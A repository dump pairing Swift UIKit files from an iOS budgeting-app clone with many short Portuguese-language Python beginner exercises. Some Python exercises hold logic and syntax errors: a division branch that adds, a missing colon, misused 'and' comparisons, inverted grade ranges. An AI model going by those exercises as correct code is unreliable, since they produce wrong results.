extension MonthCalendarViewController: UICollectionViewDelegateFlowLayout {
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize {
// 셀의 사이즈 정의
return CGSize(width: collectionView.frame.width / 7, height: MonthCalendarCollectionViewCell.height)
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumLineSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 세로간격 조정
return 0
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumInteritemSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 가로간격 조정
return 0
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/AddHistory/ViewController/SelectIncomeCategoryViewController+UICollecionView.swift
//
// SelectIncomeCategoryViewController+UICollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/13.
//
import Foundation
import UIKit
extension SelectIncomeCategoryViewController: UICollectionViewDataSource, UICollectionViewDelegate {
func numberOfSections(in collectionView: UICollectionView) -> Int {
return 1
}
func collectionView(_ collectionView: UICollectionView, numberOfItemsInSection section: Int) -> Int {
return IncomeCategory.category.count
}
func collectionView(_ collectionView: UICollectionView, cellForItemAt indexPath: IndexPath) -> UICollectionViewCell {
guard let cell = collectionView.dequeueReusableCell(withReuseIdentifier: IncomeCategoryCollectionViewCell.identifier, for: indexPath) as? IncomeCategoryCollectionViewCell else {
return UICollectionViewCell()
}
cell.category = IncomeCategory.category[indexPath.row]
return cell
}
func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {
if let cell = collectionView.cellForItem(at: indexPath) as? IncomeCategoryCollectionViewCell {
guard let dataModel = dataModel else { return }
dataModel.category = cell.category
dataModel.info = self.InfoTextFiled.text
incomeDAO.saveHistory(dataModel)
NotificationCenter.default.post(name: NSNotification.Name("AddHistoryNotification"), object: nil)
self.closeButtonDidTap()
}
}
}
extension SelectIncomeCategoryViewController: UICollectionViewDelegateFlowLayout {
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, sizeForItemAt indexPath: IndexPath) -> CGSize {
// 셀의 사이즈 정의
return CGSize(width: 60, height: 60)
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumLineSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 세로간격 조정
return 15
}
func collectionView(_ collectionView: UICollectionView, layout collectionViewLayout: UICollectionViewLayout, minimumInteritemSpacingForSectionAt section: Int) -> CGFloat {
// 셀 간 가로간격 조정
return 15
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Model/ExpenseInfoModel.swift
//
// ExpenseModel.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
class ExpenseInfoModel: InfoModel {
var payment: String?
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthlyView(Main)/ViewController/MonthViewController+UIPageViewController.swift
//
// MonthViewController+UIPageViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import UIKit
extension MonthViewController: UIPageViewControllerDelegate, UIPageViewControllerDataSource {
func pageViewController(_ pageViewController: UIPageViewController, viewControllerBefore viewController: UIViewController) -> UIViewController? {
if let calendarVC = pageViewController.viewControllers?.first as? MonthCalendarViewController {
let yearMonth: (Int, Int) = beforeYearMonth(currentYear: calendarVC.calendarView.currentYear, currentMonth: calendarVC.calendarView.currentMonth)
let index: Int = calendarVC.view.tag
let nextIndex: Int = index > 0 ? index - 1 : monthCalendarViewControllers.count - 1
let beforeCalendarVC: MonthCalendarViewController = monthCalendarViewControllers[nextIndex]
beforeCalendarVC.currentYear = yearMonth.0
beforeCalendarVC.currentMonth = yearMonth.1
beforeCalendarVC.expenseInfoList = expenseDAO.fetch(yearMonth: "\(yearMonth.0)\(String(format: "%02d", yearMonth.1))")
beforeCalendarVC.showDailyHistoryInfo = { [weak self] expenseInfoModel, incomeInfoModel in
// 캘린더뷰의 날짜를 터치했을때 실행되는 클로저. 테이블뷰를 갱신한다.
guard let strongSelf = self else { return }
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
beforeCalendarVC.showMonthlyIncomeExpenseMoney = { [weak self] totalExpense, totalCashExpense, totalCardExpense, totalIncome in
// 월간 입금/지출금액 표시
guard let strongSelf = self else { return }
strongSelf.expenseMoney.text = String(totalExpense) + "원"
strongSelf.cashMoney.text = String(totalCashExpense) + "원"
strongSelf.cardMoney.text = String(totalCardExpense) + "원"
strongSelf.incomeMoney.text = String(totalIncome) + "원"
strongSelf.balanceMoney.text = String(totalIncome - totalExpense) + "원"
}
beforeCalendarVC.goPreviousPage = { [weak self] targetYear, targetMonth in
guard let strongSelf = self else { return }
let expenseInfoModel: [ExpenseInfoModel] = strongSelf.expenseDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
let incomeInfoModel: [IncomeInfoModel] = strongSelf.incomeDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
strongSelf.goToPreviousPage()
strongSelf.setNavigation(currentYear: targetYear, currentMonth: targetMonth)
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
beforeCalendarVC.goNextPage = { [weak self] targetYear, targetMonth in
guard let strongSelf = self else { return }
let expenseInfoModel: [ExpenseInfoModel] = strongSelf.expenseDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
let incomeInfoModel: [IncomeInfoModel] = strongSelf.incomeDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
strongSelf.goToNextPage()
strongSelf.setNavigation(currentYear: targetYear, currentMonth: targetMonth)
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
return beforeCalendarVC
}
return nil
}
func pageViewController(_ pageViewController: UIPageViewController, viewControllerAfter viewController: UIViewController) -> UIViewController? {
if let calendarVC = pageViewController.viewControllers?.first as? MonthCalendarViewController {
let yearMonth: (Int, Int) = afterYearMonth(currentYear: calendarVC.calendarView.currentYear, currentMonth: calendarVC.calendarView.currentMonth)
let index: Int = calendarVC.view.tag
let nextIndex: Int = (index + 1) % monthCalendarViewControllers.count
let afterCalendarVC: MonthCalendarViewController = monthCalendarViewControllers[nextIndex]
afterCalendarVC.currentYear = yearMonth.0
afterCalendarVC.currentMonth = yearMonth.1
afterCalendarVC.expenseInfoList = expenseDAO.fetch(yearMonth: "\(yearMonth.0)\(String(format: "%02d", yearMonth.1))")
afterCalendarVC.showDailyHistoryInfo = { [weak self] expenseInfoModel, incomeInfoModel in
// 캘린더뷰의 날짜를 터치했을때 실행되는 클로저. 테이블뷰를 갱신한다.
guard let strongSelf = self else { return }
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
afterCalendarVC.showMonthlyIncomeExpenseMoney = { [weak self] totalExpense, totalCashExpense, totalCardExpense, totalIncome in
// 월간 입금/지출금액 표시
guard let strongSelf = self else { return }
strongSelf.expenseMoney.text = String(totalExpense) + "원"
strongSelf.cashMoney.text = String(totalCashExpense) + "원"
strongSelf.cardMoney.text = String(totalCardExpense) + "원"
strongSelf.incomeMoney.text = String(totalIncome) + "원"
strongSelf.balanceMoney.text = String(totalIncome - totalExpense) + "원"
}
afterCalendarVC.goPreviousPage = { [weak self] targetYear, targetMonth in
guard let strongSelf = self else { return }
let expenseInfoModel: [ExpenseInfoModel] = strongSelf.expenseDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
let incomeInfoModel: [IncomeInfoModel] = strongSelf.incomeDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
strongSelf.goToPreviousPage()
strongSelf.setNavigation(currentYear: targetYear, currentMonth: targetMonth)
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
afterCalendarVC.goNextPage = { [weak self] targetYear, targetMonth in
guard let strongSelf = self else { return }
let expenseInfoModel: [ExpenseInfoModel] = strongSelf.expenseDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
let incomeInfoModel: [IncomeInfoModel] = strongSelf.incomeDAO.fetchAtCertainDate(date: SingleTon.shared.selectedDate ?? Date())
strongSelf.goToNextPage()
strongSelf.setNavigation(currentYear: targetYear, currentMonth: targetMonth)
strongSelf.tableView.expenseInfo = expenseInfoModel
strongSelf.tableView.incomeInfo = incomeInfoModel
strongSelf.tableView.reloadData()
}
return afterCalendarVC
}
return nil
}
func pageViewController(_ pageViewController: UIPageViewController, didFinishAnimating finished: Bool, previousViewControllers: [UIViewController], transitionCompleted completed: Bool) {
if completed == true {
// 화면전환이 완료되면 calendarRootView 높이 및 navi 셋팅
if let appearedVC = pageViewController.viewControllers?.first as? MonthCalendarViewController {
calendarRootViewHeightConstraint.constant = MonthCalendarCollectionViewCell.height * CGFloat(appearedVC.calendarView.numOfRow)
guard let year = appearedVC.currentYear, let month = appearedVC.currentMonth else {
print("Error occured in setNavigationTitle")
return
}
self.currentYear = year
self.currentMonth = month
setNavigationTitle(currentYear: year, currentMonth: month)
}
}
}
func pageViewController(_ pageViewController: UIPageViewController, willTransitionTo pendingViewControllers: [UIViewController]) {
// 빠른 swipe 방지
pageViewController.view.isUserInteractionEnabled = false
let delay: Double = 0.5
DispatchQueue.main.asyncAfter(deadline: DispatchTime.now() + delay) {
pageViewController.view.isUserInteractionEnabled = true
}
}
func goToNextPage() {
guard let currentVC = self.monthCalendarViewControllers.first else { return }
if let nextVC = self.calendarPageViewController.dataSource?.pageViewController(self.calendarPageViewController, viewControllerAfter: currentVC) as? MonthCalendarViewController {
self.calendarPageViewController.setViewControllers([nextVC], direction: .forward, animated: true, completion: nil)
calendarRootViewHeightConstraint.constant = MonthCalendarCollectionViewCell.height * CGFloat(nextVC.calendarView.numOfRow)
}
}
func goToPreviousPage() {
guard let currentVC = self.monthCalendarViewControllers.first else { return }
if let previousVC = self.calendarPageViewController.dataSource?.pageViewController(self.calendarPageViewController, viewControllerBefore: currentVC) as? MonthCalendarViewController {
self.calendarPageViewController.setViewControllers([previousVC], direction: .reverse, animated: true, completion: nil)
calendarRootViewHeightConstraint.constant = MonthCalendarCollectionViewCell.height * CGFloat(previousVC.calendarView.numOfRow)
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/IncomeCategoryCollectionViewCell.swift
//
// IncomeCategoryCollectionViewCell.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/13.
//
import Foundation
import UIKit
final class IncomeCategoryCollectionViewCell: UICollectionViewCell {
static let height: CGFloat = 60
static let identifier: String = "IncomeCategoryCollectionViewCell"
lazy var categoryLabel: UILabel = {
let categoryLabel: UILabel = UILabel(frame: .zero)
categoryLabel.translatesAutoresizingMaskIntoConstraints = false
categoryLabel.layer.cornerRadius = 30
categoryLabel.layer.borderColor = UIColor.black.cgColor
categoryLabel.layer.borderWidth = 1
categoryLabel.font = UIFont.systemFont(ofSize: 13)
categoryLabel.textColor = .gray
categoryLabel.textAlignment = .center
return categoryLabel
}()
var category: String = "" {
didSet {
categoryLabel.text = category
}
}
override init(frame: CGRect) {
super.init(frame: frame)
makeUI()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func makeUI() {
self.contentView.addSubview(categoryLabel)
categoryLabel.leftAnchor.constraint(equalTo: self.contentView.leftAnchor).isActive = true
categoryLabel.rightAnchor.constraint(equalTo: self.contentView.rightAnchor).isActive = true
categoryLabel.widthAnchor.constraint(equalTo: self.contentView.widthAnchor).isActive = true
categoryLabel.heightAnchor.constraint(equalTo: self.contentView.heightAnchor).isActive = true
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/DayCollectionViewCell.swift
//
// dayCollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/02.
//
import Foundation
import UIKit
final class DayCollectionViewCell: UICollectionViewCell {
lazy var dayLabel: UILabel = {
let dayLabel: UILabel = UILabel(frame: .zero)
dayLabel.font = UIFont.systemFont(ofSize: 8)
dayLabel.textColor = UIColor(rgb: 0x3F3F3F)
dayLabel.textAlignment = .center
dayLabel.translatesAutoresizingMaskIntoConstraints = false
return dayLabel
}()
var day: String = "월" {
didSet {
dayLabel.text = day
}
}
static let height: CGFloat = 10
static let identifier: String = "DayCollectionViewCell"
override init(frame: CGRect) {
super.init(frame: frame)
self.backgroundColor = .clear
makeUI()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func makeUI() {
self.contentView.addSubview(dayLabel)
self.dayLabel.centerYAnchor.constraint(equalTo: self.contentView.centerYAnchor).isActive = true
self.dayLabel.centerXAnchor.constraint(equalTo: self.contentView.centerXAnchor).isActive = true
self.dayLabel.widthAnchor.constraint(equalTo: self.contentView.widthAnchor).isActive = true
self.dayLabel.heightAnchor.constraint(equalTo: self.contentView.heightAnchor).isActive = true
}
}
| 1693b85aa34d1b0d86faaf0070f4d08b3e0162ab | [
"Swift"
] | 28 | Swift | msk7529/CloneApp | 214046c4d12f157495ab10bfdc9b3099db8a255b | bc3f34293a7d96a3a0aba4e421680e218af9cf6c |
refs/heads/master | <file_sep>"""
g) Tendo como dado de entrada a altura (h) de uma pessoa, construa um algoritmo que calcule seu peso ideal, utilizando
as seguintes formulas:
Para Homens (72.7*h)-58
Para Muleheres (62.1*h)-44.7
"""
h = float(input('Digite qual sua altura: '))
s = str(input('Digite [M] para mulher [H] para Homem: ')).upper()
if s == 'M':
print('O peso ideial é {}'.format((62.1*h)-44.7))
if s == 'H':
print('O peso ideal é {:.0f} quilos'.format((72.7*h)-58))<file_sep>
if True == False:
print('É Igual')
else:
print('CaiFora')
print(10 > 3 or 2 == 4)
print(10 < 3 or 2 == 4)
print(10 > 3 or 2 == 2)
print(10 < 3 and 2 == 2)
print(not 10 < 3)<file_sep>"""
b) Converta a Temperatura de Fahrenheit para Celsius
(32 °F − 32) × 5/9
"""
t = int(input("Digite o temperatura em Fahrenheit para converter em Celcius: "))
print('A Temperatura em Fahrenheit é {:.0f}.'.format((t-32)*5/9))<file_sep>#Ultimo elemento
progs[-1] = 'King Kong'
print(progs)<file_sep>"""
Escreva um programa que pergunte a velocidade do carro de um usuário.
Caso a velocidade ultrapasse 80km/h, exiva uma mensagem dizendo que o usuario foi multado.
Nesse caso exiba o valor da Multa cobrado de R$ 5,00 por km acima de 80km/h
"""
km = int(input("Qual a Velocidade do Carro: "))
if km > 80:
print("Você foi multado em {} reais".format((km-80)*5))
if km <= 80:
print("Siga Viagem com Tranquilidade!")<file_sep>"""
Faca um programa que leia o comprimento de um cateto oposto e do cateto adjacente de um triangulo retangulo.
Calcule e mostre o comprimento da hipotenusa.
"""
from math import pow, sqrt
catOposto = float(input("Digite o Valor do Cateto Oposto: "))
catAdjacente = float(input("Digite o Valor do Cateto Adjacente: "))
rHipotenusa = (pow(catOposto,2) + pow(catAdjacente,2))
hipotenusa = sqrt(rHipotenusa)
print("O Valor da Hipotenusa é {:.2f},". format(hipotenusa))
<file_sep>
lista = [1, 2, 3, 5, 10]
for num in lista:
print(num)
print(num**2)<file_sep>
"""
h)
<NAME>, homem de bem, comprou um computador para controlar o rendimento diário de seu trabalho.
Toda vez que ele traz um peso de peixe maior que o estabelecido pelo regulamento de pesca do estado de SP
(50 quilos) deve pagar uma multa de R$ 4,00 por quilo excedente.
João precisa que você faça um programa que leia a variável peso (peso de peixes) e calcule o excesso.
GRavar na variavel excessoa quantidade de quilos além do limite e na variavel multa o valor da multa que joão deverá pagar.
imprima os dados do programa com as mensagens adequadas.
"""
p = float(input('Digite o peso do peixe: '))
if p > 50:
print('O Valor da Multa é {} reais'.format((p-50)*4))
else:
print('Não há multa para ser paga!')<file_sep>
print(4325 - 347)
print(197 - 435)
print(879 - 845 + 35)
print(866 * 345)
print(400 / 10)
print(12 / 2)
print(200 / 3)
print(2 ** 10)
print(147 * 3457)
<file_sep>
while True:
stringDigitada = input('Digite uma palavra: ')
if stringDigitada.lower()=='sair':
print('Fim!')
break
if len(stringDigitada) < 2:
print('String muito Pequena!')
print('Tente digitar sair!')
continue
<file_sep>'''
Online Python Compiler.
Code, Compile, Run and Debug python program online.
Write your code in this editor and press "Run" button to execute it.
Programa que leia três números e mostre o maior deles.
Programa que leia três números e mostre o maior e o menor deles.
Programa que pergunte o preço de três produtos e informe qual produto você deve comprar, sabendo que a decisão é sempre pelo mais barato.
Programa que leia três números e mostre-os em ordem decrescente.
'''
'''
num1 = int(input('Digite o primeiro número: '))
num2 = int(input('Digite o segundo número: '))
num3 = int(input('Digite o terceiro número: '))
if num1 > num2 and num3:
print(num1)
elif num2 > num1 and num3:
print(num2)
elif num3 > num1 and num2:
print(num3)
'''
'''
num1 = int(input('Digite o primeiro número: '))
num2 = int(input('Digite o segundo número: '))
num3 = int(input('Digite o terceiro número: '))
if num1 > num2 and num3:
if num2 > num3:
print('O maior número é o {} e o menor é {}'.format(num1, num3))
if num3 > num2:
print('O maior valor é {} e o menor valor é {}'.format(num1, num2))
elif num2 > num1 and num3:
if num1 > num3:
print('O maior número é o {} e o menor é {}'.format(num2, num3))
if num3 > num1:
print('O maior valor é {} e o menor valor é {}'.format(num2, num1))
elif num3 > num1 and num2:
if num2 > num1:
print('O maior número é o {} e o menor é {}'.format(num3, num1))
if num1 > num2:
print('O maior valor é {} e o menor valor é {}'.format(num3, num2))
'''
'''
num1 = float(input('Digite o primeiro preço: '))
num2 = float(input('Digite o segundo preço: '))
num3 = float(input('Digite o terceiro preço: '))
if num1 < num2 and num3:
print('O menor valor é {}'.format(num1))
elif num2 < num1 and num3:
print('O menor valor é {}'.format(num2))
elif num3 < num1 and num2:
print('O menor valor é {}'.format(num3))
'''
'''
num1 = int(input('Digite o primeiro número: '))
num2 = int(input('Digite o segundo número: '))
num3 = int(input('Digite o terceiro número: '))
if num1 > num2 and num3:
if num2 > num3:
print('A ordem decrescente é {}, {}, {}'.format(num1, num2, num3))
if num3 > num2:
print('A ordem decrescente é {}, {}, {}'.format(num1, num3, num2))
elif num2 > num1 and num3:
if num1 > num3:
print('A ordem decrescente é {}, {}, {}'.format(num2, num1, num3))
if num3 > num1:
print('A ordem decrescente é {}, {}, {}'.format(num2, num3, num1))
elif num3 > num1 and num2:
if num2 > num1:
print('A ordem decrescente é {}, {}, {}'.format(num3, num2, num1))
if num1 > num2:
print('A ordem decrescente é {}, {}, {}'.format(num3, num1, num2))
'''
<file_sep>"""
Faca um programa que leia um numero de 0 a 9999 e mostre na tela cada um dos digitos separados
"""
num = int(input("Digite um Numero: "))
num1 = str(num)
u = num // 1 % 10
d = num // 10 % 10
c = num // 100 % 10
m = num // 1000 % 10
#print("Unidade {}".format(num1[3]))
#print("Dezena {}".format(num1[2]))
#print("Centena {}".format(num1[1]))
#print("Milhar {}".format(num1[0]))
#print("O Valor da Unidade é {} O Valor da Dezena é {}". format(num1[3], num1[2]))
print("Unidade {}".format(u))
print("Dezena {}".format(d))
print("Centena {}".format(c))
print("Milhar {}".format(m))
<file_sep>
'''
Uso do for: for é usado quando se quer iterar sobre um bloco de código um número determinado de vezes:
'''
#Supondo que eu queira imprimir cada letra de uma determinada palavra:
palavra = 'Marcio'
for letra in palavra:
print(letra)
#lista = [1, 2, 3, 5, 10]<file_sep>'''
Crie um programa que leia um numero Real qualquer pelo teclado e mostre na tela a sua porcao inteira.
EX: Digite 6.127. O Número 6.127 tem a parte inteira 6.
'''
#importando a Biblicoteca especifica TRUNC da Funcão math MATEMATICA
from math import trunc
num = float(input("Digite um Valor Acima de Hum Mil com ponto: "))
#importação TRUNC, nao precisa usar MATH antes
print("O Valor inteiro Digitado é, {} o seu Inteiro é {}".format(num, trunc(num)))<file_sep>"""
Faca um programa que leia um Angulo qualquer e mostre na tela o valor do seno, cosseno e tangente desse angulo.
"""
import math
an = float(input("Digite o Valor do Angulo: "))
seno = math.sin(math.radians(an))
cos = math.cos(math.radians(an))
tan = math.tan(math.radians(an))
print("O Ângulo de {} tem o Seno de {:.2f}".format(an, seno))
print("O Ângulo de {} tem o Cosseno de {:.2f}".format(an, cos))
print("O Ângulo de {} tem a Tangente de {:.2f}".format(an, tan))<file_sep>
nome = input("Digite seu nome: ").strip().upper()
idade = input("Digite sua idade: ")
print(" ")
print("Bem vindo {}, você tem {} anos.".format(nome.title(), idade))<file_sep>
p = 111
t = 222
print(p, t)
p, t = t, p
print(p, t)
<file_sep>"""
Crie um programa que leia o nome de uma pessoa e diga se ela tem silva no nome
"""
nome = str(input("Digite o Seu Nome: ")).strip()
print("SILVA" in nome.upper())<file_sep>"""
O Código deve realizar a criação de uma prova com cinco. perguntas (para simular escrevar qualquer coisa que tenha
resposta sim ou nao, cada pergunta pode ter duas respostas.
Se o Aluno escolher sim o questionario deve somar 2 pontos.
O Aluno, caso contrario nao deve somar, ao final o sistema deve mostrar o total da nota alcanda pelo aluno
"""
nm = input("Digite o nome do Aluno: ").title()
print("\nA Capital do Paraná é CURITIBA?")
pr1 = str(input("\n***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr1 == 'SIM':
r1 = 2
else:
r1 = 0
print("\n SEGUNDA PERGUNTA! VALENDOOOOOO!")
print("\nUma pais da Europa! Essa Frase foi dita pelo FAUSTAO?")
pr2 = str(input("***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr2 == 'SIM':
r2 = 2
else:
r2 = 0
print("\n TERCEIRA PERGUNTA!!! VALENDOOOOO!!!")
print("\nTá pegando Fogo Bicho! - Essa frase foi dita pelo Gugu?")
pr3 = str(input("***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr3 == 'NAO':
r3 = 2
else:
r3 = 0
print("\nQuarta pergunta! VALEEEEENDOOOOO!")
print("\nA Turma B de TDS, é a melhor do Portão?")
pr4 = str(input("***** Digite [SIM] ou [NAO] *****\n\t\t").upper())
if pr4 == 'NAO':
r4 = 2
else:
r4 = 0
soma = r1+r2+r3+r4
print("\n\nOlá {}. A Soma da Pontuação é {}".format(nm, soma))
<file_sep>
n1 = int(input("Digite o Primeiro Número!\n\t\t\t"))
n2 = int(input("Digite o Segundo Número!\n\t\t\t"))
print("\n Escolha o CALCULO: [SOM], [DIV], [MIN], [MUL]\n\t")
calc = str(input("Escolha!!\t\t").upper())
if calc == 'SOM':
result = n1 + n2
elif calc == 'DIV':
result = n1 + n2
elif calc == 'MIN':
result = n1 - n2
elif calc == 'MUL':
result = n1 * n2
print("\n\n\t O Resultado é {}".format(result))
<file_sep>"""
Sorteando nome de uma Lista
"""
import random
n1 = str(input("Primeiro Aluno: "))
n2 = str(input("Segundo Aluno: "))
n3 = str(input("Terceiro Aluno: "))
lista = [n1, n2, n3]
random.shuffle(lista)
print("O escolhidos na ordem é {}".format(lista))<file_sep>
# Validação de Strings por conteudo
s = ('125')
p = ('<NAME>')
print(s.isalnum())
print(p.isalnum())
print('771'.isdigit())
print('Ola'.isdigit())
print('123'.isnumeric())
<file_sep>"""
Um professor quer sortear um dos seus quatro alunos para apagar o quadro.
Faca um programa que ajuda ele, lendo o Nome deles e escrevendo o nome escolhido.
"""
#import random
from random import choice
n1 = str(input("Primeiro Aluno: "))
n2 = str(input("Segundo Aluno: "))
n3 = str(input("Terceiro Aluno: "))
lista = [n1, n2, n3]
#importar biblioteca toda o código muda para: escolhido = random.choise(lista)
escolhido = choice(lista)
print("O Aluno escolhido foi {}".format(escolhido))
<file_sep>"""
c) Retorne verdadeiro se o número for PAR e falso se o número for IMPAR
"""
n = int(input('Digite o Valor: '))
if n % 2 == 0:
print('Verdadeiro')
else:
print('Falso')<file_sep>"""
Criar um logaritmo que insera 4 notas e nome do aluno.
0 - 4 ~ reprovado
4 - 7 ~ recuperação
7 - 8 ~ aprovado
9 - 10 ~ aprovado com louvor
O Código deve realizar a criação de uma prova com cinco. perguntas (para simular escrevar qualquer coisa que tenha
resposta sim ou nao, cada pergunta pode ter duas respostas.
Se o Aluno escolher sim o questionario deve somar 2 pontos.
O Aluno, caso contrario nao deve somar, ao final o sistema deve mostrar o total da nota alcanda pelo aluno
"""
nm = input("Digite o nome do Aluno: ").title()
nt1 = float(input("Digite a nota do primeiro Bimestre: "))
nt2 = float(input("Digite a nota do segundo Bimestre: "))
nt3 = float(input("Digite a nota do terceiro Bimestre: "))
nt4 = float(input("Digite a nota do quarto Bimestre: "))
media = (nt1 + nt2 + nt3 + nt4) / 4
if media <= 4.0:
print("A média do Aluno {} é {:.1f}, ele se encontra REPROVADO!!".format(nm, media))
elif 4.1 >= media < 6.9:
print("A média do Aluno {} é {:.1f}, ele esta de Recuperação!!".format(nm, media))
elif 7.0 >= media <= 8.9:
print("A média do Aluno {} é {:.1f}, ele esta Aprovado!!".format(nm, media))
elif media >= 9.0:
print("A média do Aluno {} é {:.1f}, ele esta Aprovado com LOUVOR!!".format(nm, media))
<file_sep>import random
import numpy
print("O Jogo esta pronto para começar!\n")
print(("VALENNNNDOOOOO!!!!\n\n"))
lista = random.randrange(0, 20)
print("Qual número estou pensando!?")
n1 = int(input("Digite um número entre 0 e 20!!\n\n\t\t"))
while n1 != lista:
if lista > n1:
n1 = int(input("Errouuuu!! Tente um número maior que este!!!! \n\n\n"))
elif lista < n1:
n1 = int(input("Errrrooouuuu!!! Tente um número menor que ESTE!!\n\n\n"))
if lista == n1:
print("Para-BENS! Você acertou o número que eu estava pensando!")
<file_sep>
valorEntrada = int(input('Digite um Valor entre 1 e 5: '))
if valorEntrada == 1:
print('A entrada é 1')
elif valorEntrada == 2:
print('A entrada == 2')
elif valorEntrada == 3:
print('A entrada é 3')
elif valorEntrada == 4:
print('A entrada é 4')
elif valorEntrada == 5:
print('A entrada é 5')
else:
print('Valor não encontrado!')<file_sep># Cadeia de Caracteres
#Aula Numero 09
#String ou Cadeia de Caracteres
frase = 'Curso em Video Python'
#Fatiamento
#Mostra a Letra que esta no campo 9
print(frase[9])
#Mostra as Letras entre o Campo 9 ao 14
print(frase[9:14])
print(frase[9:21])
print(frase[9:21:2])
#Não colocar valor no primeiro Operador é identificado como ZERO
print(frase[:5])
#A Operação vai até o final da rede de string
print(frase[15:0])
print(frase[9::3])
#Analise
#Operador LEN
#Identifica quantos caracteres existe na FRASE
print(len(frase))
#Operador COUNT
#Conta quantas vezes uma determinada LETRA aparece
print(frase.count('o'))
#incluindo fatiamento
print(frase.count('o', 0, 13))
#Operador FIND
#Encontra Inicio de determinada Letra ou Letras
print(frase.find('deo'))
#Operador IN
#Ira Validar entre TRUE ou FALSE
print('Curso' in frase)
#Transformação
#Operador REPLACE
print(frase.replace('Python', 'Android'))
#UPPER() - Metodo
#Deixar letras maiusculas
print(frase.upper())
#LOWER - Metodo
#Deixa tudo em Minusculo
print(frase.lower())
#Capitalize()
#Deixa todas as Primeiras Letras em Maiusculas
print(frase.capitalize())
#TITTLE()
#Deixa a primeira letra Maiuscula, mas identificando cadas letra
print(frase.title())
app = ' Aprenda Python '
#STRIP()
#O Metodo Strip remove todos os espaço do inicio e do final de uma String\Frase
print(app.strip())
#rstrip remove os espaços do lado direito
#lstrip remove os espaços do lado esquerdo
#DIVIDIR \ DIVISÃO
#SPLIT()
#O Metodo split pega os espaço de uma frase e divide
#cada Palavra dentro de uma frase acaba recendo uma numeracao nova fazendo cada frase uma lista
print(frase.split())
#JUNÇÃO \ UNIAO
#'-'.JOIN()
print('-'.join(frase))
<file_sep>
tempo = int(input('Digite a Temperatura: '))
if tempo < 0:
print('Esta congelando')
elif 0 <=tempo<= 20:
print('Frio!!')
elif 21 <=tempo<= 25
print('Normal!!')
elif 26 <=tempo<= 35:
print('Quente!')
elif tempo > 35:
print('Muito Quente!!')<file_sep>"""
Faca um programa que leia uma Frase pelo teclado e mostre:
A) Quantas vezes aparece a LETRA "A"?
B) Em que posição ela aparece a primeira vez?
C) Em que posição ela aparece pela a ultima vez?
"""
frase = str(input("Digite uma Frase: ")).strip().upper()
print("Existe na Frase {} Letras 'A'".format(frase.count('A')))
print("A Letra 'A' aparece a primeira vez no Indice {}".format(frase.find('A')+1))
print("A Ultima vez que a Letra 'A' aparece é no indice {}".format(frase.rfind('A')+1))<file_sep>"""
faça um programa que receba um valor em KM, converta para: metros, centimetros e milimetros
"""
d = int(input('Digite o valor em quilometros: '))
print('A Distancia em cm é {}cm. A Distância em mm é {}mm.'.format((d*1000), (d*1000000)))<file_sep>"""
VALOR = "mARCIO"
print(valor * 10)
#tipoVariavel
print(type(123))
print(type('Olá Mundo'))
#Tamanho da Variavel
print(len('Olá MUndo'))
IF
if True == False:
print('É Igual)
else:
print('Cai Fora')
"""
<file_sep>
print(len("A"))
print(len(""))
print(len("Eu gosto muito do Prof. Marcio."))<file_sep>"""
Faca um programa em Python que reproduza o audio de um MP3
"""
import pygame
pygame.mixer.init()
pygame.mixer.music.load('themeofprontera.mp3')
pygame.mixer.music.play()
input()
pygame.event.wait()<file_sep>
num = int(input("Digite um número: ").lower())
if num % 2 == 0:
print('O Valor Digitado é {} e ele é PAR'.format(num))
else:
print('O Valor Digitado e {} e ele é Impar'.format(num))<file_sep>"""
f) faça um programa que pergunte quanto vc ganha por hora e o numero de horas trabalhadas no mês. Calcule e mostre
o total do seu salario no mes.
"""
s = float(input('Qual o seu salario por hora: '))
h = float(input('Quantas horas você trabalha por mês: '))
print('O seu salario é de {:.2f} por mês!'.format(s*h))<file_sep>#Operação em Lista
progs = ['YES', 'GENESIS', 'U2', 'ELP']
#varendo a lista
for prog in progs:
print(prog)<file_sep>
